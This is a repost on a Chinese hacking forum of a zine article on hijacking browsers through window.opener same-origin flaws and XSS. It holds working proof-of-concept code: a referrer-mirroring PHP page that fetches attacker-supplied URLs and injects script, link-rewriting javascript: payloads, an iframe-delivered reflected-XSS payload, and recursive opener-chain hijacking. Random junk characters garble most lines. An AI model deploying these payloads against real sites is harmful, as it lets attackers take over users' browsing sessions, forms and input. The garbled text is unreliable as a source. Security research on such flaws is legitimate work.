中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==7 N# G6 z! F7 b$ X# p

. }: F( ~: G* X. I6 r                       Issue 0x03, Phile #0x05 of 0x07
5 q8 N% Y) V" i" _) N% X7 q: t* R; X - G$ A9 ^3 N" x+ @) t: x. y

1 D3 b& r! \0 u+ o" E' L% X8 P9 J' ||=---------------------------------------------------------------------------=|
% o8 K3 K- L0 w5 r$ J! O# ?|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|. V- l( U- L" ?( q
|=---------------------------------------------------------------------------=|( k& l7 R+ e9 U# w1 k6 o
|=---------------------------------------------------------------------------=|
! m- F' ~& Z; \6 E1 O4 P, g|=------------------------=[      By rayh4c     ]=---------------------------=|
6 y9 P- }8 x9 R( S|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|$ s: e/ S( O! ]( ^5 W$ x
|=---------------------------------------------------------------------------=|' C4 f( U: O. z% c) E
  c( T' s3 E8 S4 O/ `

0 G8 q0 i1 F* V- X6 w; K- U[目录]
5 m% s7 H+ W2 Z  @8 S3 Y' \" I4 j# S% C1 C3 L1 J/ ?% h
1. 前言
2 T0 {# ^! {  j! u2. 同源策略简叙( O% c( p" {3 A$ ]3 B/ V
3. 理解window对象的同源策略
! Q6 q8 v/ q, V) _4. 窗口引用功能中的同源策略漏洞3 `  R( l' t; F6 u6 }+ s
  4.1 父窗口引用子窗口的同源策略问题
* B/ E. N" y: O, K& u* l  4.2 子窗口引用父窗口的同源策略问题  J( N6 Z2 i! Q' W0 a  _% I
5. 利用窗口引用漏洞劫持浏览器
. \% `$ l$ B6 B/ [6. 利用XSS漏洞劫持浏览器
  c# F3 s/ J+ N5 a0 G$ M1 b  P  6.1 正向跨窗口劫持
) ?# V4 u7 M$ f$ N  6.2 反向跨窗口劫持- V; f" ]$ J* m6 \* T
  6.3 极度危险的跨框架窗口引用劫持
; E0 ]3 ~: x# B* A# w& m  6.4 极度危险的正反向跨窗口递归劫持
0 q+ M% k7 u, m9 z* g9 o7 j  6.5 完全控制浏览器: Q3 h* F# T, f8 d
7. 后记
, m! z3 M* I8 m$ w! }8. 参考' v- I# z1 G' Q# w" C- b
8 W. _( x( {/ K

# f- r% ?; a, L一、前言. ]% L) _+ G* w; ]
+ M3 Y/ z8 p/ `2 P5 H
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋: f8 D3 g2 e5 }- E4 B0 z
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session% P/ f  Y% ?5 f" k
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被+ g" B( p' C9 s- [8 s/ {
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
  x4 F; `( r5 r0 T3 h- |/ W. J7 Q& a' Z; S& [0 l& |4 p
& a, h4 R) x# J
二、同源策略简叙+ z# x1 |: y1 m
- V2 e* [0 q' E  n4 }
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以; g9 J7 c8 U% j1 G. Z
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
  a4 \, p1 I! p( v; ^5 a曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
, ?5 ^+ p, j" E: g& G7 g马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个( ~2 ]3 E; ]) E5 ~, x4 r3 M# ?  r
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
5 F% S! V1 C6 k5 U* q; I' _1 m( g8 K' H9 s5 N1 J
5 e% @: Z5 K3 j1 F5 T! Z: G
三、理解window对象的同源策略
& K8 p3 v/ w: e" a6 Y3 e: P0 T1 F" ]4 o/ b
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对1 \3 i- {8 R' \0 P# o
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:7 U( Y! T; g/ {/ m6 `* O
- O1 ]+ U9 O# t1 {
--code-------------------------------------------------------------------------
* [# l7 d4 i, r<script language="javascript">
0 q* S- ~  Y! l7 s& D) o% B" l2 @for(p in window) document.write(p+"<br>");
& X1 t+ m* b0 ~! @0 o</script>
9 j" P4 I# X5 _! ^3 C-------------------------------------------------------------------------------
; o5 D& {: x7 ~( _' x* l
1 ^9 z8 U$ b, p  M& o4 }9 \, D    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% M  |% q# L( Q* @$ [% C* d
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
5 O2 R9 i9 Z( `- u. A" O这些属性和方法就必须遵循同源策略。
5 O/ }. W5 f) i& H: z( W9 j1 c- A! j% @6 `
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那0 F/ b) e+ j) x( |5 `, u; K
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
( |+ I9 [9 R; W9 Z( B* z的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
% V( [; A& x% x# G, F7 V3 a个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; [# _, ?0 H4 Z3 G3 r( H7 i值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location  W9 }% `" g+ T3 y! s/ {  s
属性并没有被拒绝访问。! G" x0 C7 s4 D9 Z$ q/ A; _

7 H0 L/ B, T, ], b: R' S$ ?--demo.html--------------------------------------------------------------------
1 ?% O( m6 z/ a; n+ \  F  A<script language="javascript">   * @- p/ v4 k2 L" _4 Z! ]7 `
function allPrpos(obj) {      / ?" v- c, |7 |
      var props = "<table><tr><td>名称</td><td>值</td>";             t+ d+ A2 _+ G$ B+ o, J
      for(var p in obj){         
0 D: [5 F* M9 T* _& s* s1 e; q            if(typeof(obj[p])=="function"){   
- S" c: `0 a" D/ x- \3 V( n                   obj[p]();   ( d  _+ |. s  K- `* I/ P% G
             }else{                     
# E- J+ P( K! C$ P' A' P5 U                  try   
5 k) B9 d1 y$ z' L                   {   + ]& e. d+ A. a6 q% l* _5 v
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
2 |; ~5 k, t& V                   }   
, R  E. h$ i& \7 \                  catch (ex)   ' `% V5 M/ m* m. r$ Q
                   {   * V0 ?5 U' H+ y3 ^. _
                   1 F* ~& c0 ^2 |; O1 v
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   2 r0 }: {. C' y( U1 d8 ~8 [6 b
                   }   
$ L" y% S( f! \2 C# s: e                       ) V  l# C' D( _5 t4 i2 v% h5 o
             }   ! X6 G; }2 k6 `5 y5 d( l4 }
       }   
$ N- m. k# N! c6 Z   
! n$ F$ _3 w! i* h) `  |/ Q& a       document.write(props+"</table>");   0 M& s0 G( ?; N" T3 u8 t, P, P$ R
}   ' A) I; i: ^8 x1 h  C2 V, e+ N
   & a, n6 b& C6 X, z5 k$ @* ?! y
function createWin() {
+ z( G8 s& ^$ S7 u5 J        newWin = window.open ("http://www.google.com");  
9 H- N: _6 w- v/ }, q        setTimeout(function(){allPrpos(newWin)},2000);
3 m9 L3 E- Z) W}
! f6 a5 B, N4 [/ b/ y# S; F: a7 ~# D  D% W# v, [: E$ K7 t$ U( i
</script> 4 U' v/ q) H* f9 t! t

3 y7 `+ w5 g/ ^( I<button onclick='createWin()'>创建一个非同源子窗口测试</button>
1 E! D  a* k& D3 I-------------------------------------------------------------------------------/ n$ L! X) W1 F# ~" |; n. ~6 l2 a
8 r! ]% z2 w: y* D1 l( }5 O+ _1 s
7 y/ O& @4 z8 V. C3 j+ o
四、窗口引用功能中的同源策略漏洞% o4 `0 _3 y5 A- U% ?* E. L; p
3 }# O7 H! r8 o! ?
4.1 父窗口引用子窗口的同源策略问题
6 p. w7 x; l) H) K$ l) n5 `) z* d8 B* D! Q9 X/ T& G/ T7 F
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
+ r- q1 `3 v3 O3 ~7 j. Z% `但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道  c* Z' E4 ~3 `: r9 S
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
! P9 M: ^3 O' R# {) [行测试,会发现父窗口可以控制非同源子窗口location属性值。9 i' @9 f9 t6 T) b" T3 L+ c

0 p4 L8 S) V# i! L! \2 q--vul1.html--------------------------------------------------------------------
, P3 J# @; v2 A' C' ?: k; h<script language="javascript"> 4 p' R: x6 a- ]  m3 @
function createWin() {  . g& n' Z* p9 f* ~7 S& M) K
        newWin = window.open ("http://www.google.com");  9 H" h$ P$ T! N3 E9 ~. r6 r
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 1 F: w0 D! ^: T5 g% I
}
7 F; a$ o$ z" e) q) y/ A" L) J2 G* u</script>
4 b; K3 s) F; i- u/ c- W9 Q( ]
<button onclick='createWin()'>创建一个非同源子窗口测试</button>) J8 i4 Y* X  `% s- \8 n
-------------------------------------------------------------------------------
) A, m: i# }3 a( {8 E9 o- g! J" t7 j

/ a! p7 u& [/ K4.2 子窗口引用父窗口的同源策略问题% ?0 o* K7 C' j" P3 X' I4 a
5 H5 w' e' T; I6 a
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使( n$ E) ]+ X4 g  S9 z
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
+ }$ x' L0 g& Y( X" c& o# ^8 u可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
0 M& l2 ?/ [5 A/ E) g会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。% q# a2 @( S7 A+ c4 O% w2 y

1 c& \7 B4 V/ M--code-------------------------------------------------------------------------  z9 U- K$ Y1 I! B5 R( |

: D) ~! |- a4 t4 I/ P+ |& S% vjavascript:window.opener.location = "http://www.80sec.com";void(0);6 r4 h1 Y  _8 v# _7 {

9 m# ^4 T6 o& K. d' t7 s0 L3 U-------------------------------------------------------------------------------# R6 _% s& z( n6 A# I4 u0 v6 \7 g% z
6 e8 d" k$ y# C0 f8 Z$ W; q
7 {& u( |" P# d& w; e, s
五、利用窗口引用漏洞劫持浏览器
. X, z/ w4 I& U& e, u* W! H1 _+ b) U5 d) O* U
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
1 E9 D) A, S. J* C: U: W窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那* N$ Q$ b, f  b8 x6 j1 A
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。* ~' K% [/ a9 q
, U) o4 d. g9 _
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产6 d/ L& ~9 r/ z$ P$ B/ T
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
( G$ D6 \  S, D  z# _- r8 s& ~; W1 @者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接3 S/ {" ^6 Q5 r/ q- Q& d8 u( t
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
+ X: w! z7 J/ p会产生什么可怕的后果。. d+ r' C$ O0 K' X+ {

1 \) Y! G: B. K; X' x    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
5 H" f" b3 k$ d6 l- W们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php* e  A2 ?1 ~" R! I
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
; P0 N/ Z' ?- ~* [7 }# ^3 A候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可! o0 c( X6 q2 f- `2 r6 U
以做更多的事情,所有的一切仅仅是因为点击了一个链接。, U8 s7 b  C4 X1 D' M* F
3 f0 L( R1 p0 D7 j
--hjk_ref.php------------------------------------------------------------------
8 e4 U. g  u5 X, ^* `# B2 F; y* O<?php* M- n4 z  m' Q$ z( v
if (array_key_exists("HTTP_REFERER", $_SERVER)) {8 y) t4 ]- o6 G9 u: h
$Url_Mirror = $_SERVER["HTTP_REFERER"];2 @8 \/ T0 x5 \8 Q! n9 n" I
} 7 Q+ S0 R5 `5 ~) r8 [7 x1 ]
if(isset ($_GET['ref'])) {# W" \* @( a: _  [
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';& `3 Q" s* L: t: n# R
}
5 j2 C% f6 Y, w' ]: k2 P* j?>
4 P% ?2 p1 i. ^6 _) z3 B  U( t, m  H3 ]- r9 C
<script language="javascript">5 R3 Y5 Y$ ?1 H7 o# g
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
) p, h. p7 w0 h0 W; M0 m2 W# a7 G</script>9 s# o8 Q+ a% u; ?; D* b
-------------------------------------------------------------------------------
- @! _3 s8 u% X, ]6 w3 J0 k5 v+ p% k) v- d6 v& O- q/ @0 Y3 E5 u
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
; y  }0 k4 @5 Q0 g
2 _: ^( g6 @# X5 V/ N7 g! S& w5 I/ R8 P5 f8 g! F) V7 ]! |# `
六、利用XSS漏洞劫持浏览器9 f9 o- k; Q- B; v, h

; t6 D0 \1 N/ e$ _  Z    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
7 Y/ E4 H2 m$ Y; K$ y1 [9 h/ \持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
/ Y/ l1 l& B; A  B0 O$ H" d% ]1 YXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起8 O- |$ S: t9 ?) _. g! I, f1 x
讨论跨站师的终极技巧:
( s* e- G$ q* L3 e/ M6 F% ?: Z8 x! T
) c5 Z) R* }( [6 B9 u' G. X& y6 v; O/ J' A
6.1 正向跨窗口劫持3 V- o3 z. {4 c" Q$ m& p' s
5 a3 y9 Q5 D1 c
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
: G* D. T) i% e; G' _  {" I) l主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
- e: M8 w5 H" `: b: j: E. r接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话' M0 S3 ~, m2 l# v5 i, a- h/ k
框脚本。 + v) t, |# l$ Z3 ]
8 I) ^3 d4 _1 x2 `! G
--hijack_open.js---------------------------------------------------------------6 U' k% `' d8 _  U  N. g

3 V, x! a: }) X! Z3 ], r( b1 V: Ijavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);: c; w4 F2 ?5 v4 l+ D6 t" w

! X' e: {% B1 D8 Q5 c- t-------------------------------------------------------------------------------
( Q) F) ~9 ~* e4 d  O/ O6 @) U. s8 c! q+ c8 _* Q* N, i$ {/ q- |

( Y( [8 ?2 N1 o* y6.2 反向跨窗口劫持
, w. C% I2 B' X* z( F$ t
0 s0 g0 d- q: o6 i    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代4 u7 Y: ~# D6 Z7 P
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
+ A8 D' |. H4 M框脚本。$ S, s% o1 B* @* J
9 ^# u. `4 z0 c2 m) G3 }9 j
--hijack_opener.js-------------------------------------------------------------
. ~! o8 b7 I  ?% q  _/ M6 y
& e8 W! F: [2 ^  ]! ~4 wjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);( Z9 |9 E4 B* L3 p7 Y9 t2 l
% ]( [0 `% Q8 k5 I- _9 x
-------------------------------------------------------------------------------1 ^) W* U) I6 e; g8 A4 g: X1 M

" O$ ]' e) M+ }; |* Z5 c
# t3 U; \+ l5 z) }; q6.3 极度危险的跨框架窗口引用劫持
( ~/ O) z5 [7 i& Q) O3 ^* J% c8 t+ L# k* [
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞1 U& w, |" a7 J4 V& A6 t
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
% p8 h$ u7 ~. u9 y适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个! K! Y" z1 {- \$ G4 p& Y
非持久型的XSS,如下:
% r" G' B$ l( q3 c8 J7 ?2 n
) p2 s1 p$ E( J& {0 n" `: {% w<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>0 J* q  _+ V7 _8 E7 \
/ {+ k' [& l; C) \
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口* X, m( k+ t- v+ v" g
注入脚本。2 d' p  [) ?; J$ N- f$ d$ Y" C& ]
: j  t) [7 v, S
--hijack_frame_opener.js-------------------------------------------------------' v8 z% z4 v& I3 o  X# c6 A8 M
<script>
3 w! Y# C0 P" ]window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
: V& K8 X& q% w7 w</script>
# v% k2 v/ ~% k/ ^, P. P* z* n) Y0 k1 A-------------------------------------------------------------------------------# H( |4 M$ G2 Y1 D' z; \

% p3 [- x# K0 |6 u) I$ m1 w- e2 k- J$ e
6.4 极度危险的正反向跨窗口递归劫持
6 {+ Z: h. j; @% A0 L1 C" T, m
6 ^0 ?: N' L; }  g) w    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window0 S5 p3 \- \' Z5 ~# d
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过( G: C1 K  c6 F
异常处理规避之间跨域页面的访问异常,代码如下:  e  Q) n1 E; e* t1 v: [4 u6 J

8 F2 ^9 N( Y5 u3 b--code-------------------------------------------------------------------------
* v. I7 e% _# K5 c2 N
* a% k# ?( v/ I- @% Qjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
. p( K% Y+ r/ ]" Q4 z" o+ o) L+ ^" B% f5 ~: ^* R& l; X. ]
-------------------------------------------------------------------------------
, s4 Z. N0 e0 l" U9 J& g6 y+ z0 K/ d8 ^- C+ Y4 D
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
7 R" h! o- Y" Y9 ~% {, ]  f以劫持B域之前的A域页面,从而实现“隔空打击”。
; z- G& a0 [& n" u7 Q- k! F
- c# M6 b3 O" M$ W    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面! \% T: x3 g. W  T3 N2 N: H& g
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。3 ?4 q& v/ B& G! t0 M, ~" S) B3 L
) z% F8 l# |8 g% X
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。+ ]0 u: U; Y% I, G7 y

- I; z$ [; t+ C) Q
; x1 k1 L8 s3 ?  g6.5 完全控制浏览器3 t8 Z+ e- |+ t) u
! E& F) W  L% O* S
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
+ _7 X+ {* M! Q, D/ E1 M4 f是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
  B! T8 K: `  r: V- ~漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失1 T7 K- `+ I/ n& z/ K) x7 V5 U
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
" I$ U9 ?& e; C! f7 l列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站! N( {" ^2 P, K2 y
师的终极目标 - 完全控制浏览器。5 L7 ]# W" ?! }$ U# m
! v# Q6 R+ }, S2 c% g! w
& Q9 R) v* ^0 s+ g0 M/ B
七、后记
% @2 O. U5 J( B8 }/ B& I
4 e' y" n; H( P, _: Q9 s    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全' c, |$ c& X# a1 y" Z
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予4 S+ J. w, S' m. K& ?
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
3 V" \7 I! r. H. a% ^) Z& V
/ r$ w1 X5 J/ c; O* m; Q/ E
% F7 B# C$ l  {八、参考
( O' a, h7 }) l# j: Y2 S: |4 X! j
1. http://en.wikipedia.org/wiki/Same_origin_policy
. Q: w7 y' I" \- Y2. http://code.google.com/p/browser ... licy_for_DOM_access! P0 F  }: m1 y5 O8 a2 e
3. http://www.w3.org/TR/Window/
# @  x- m; F: ]: `$ [. }: S4. http://www.80sec.com/release/browser-hijacking.txt
2 v. A3 j" P8 W+ R5. http://www.80sec.com/all-browser-security-alert.html
' m: s( P5 I' V6. http://www.80sec.com/ms08-058-attacks-google.html
  v( p; r. \$ B- |7 n% N/ p, s: v5 r2 t5 R0 B* u; ~
-EOF-




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2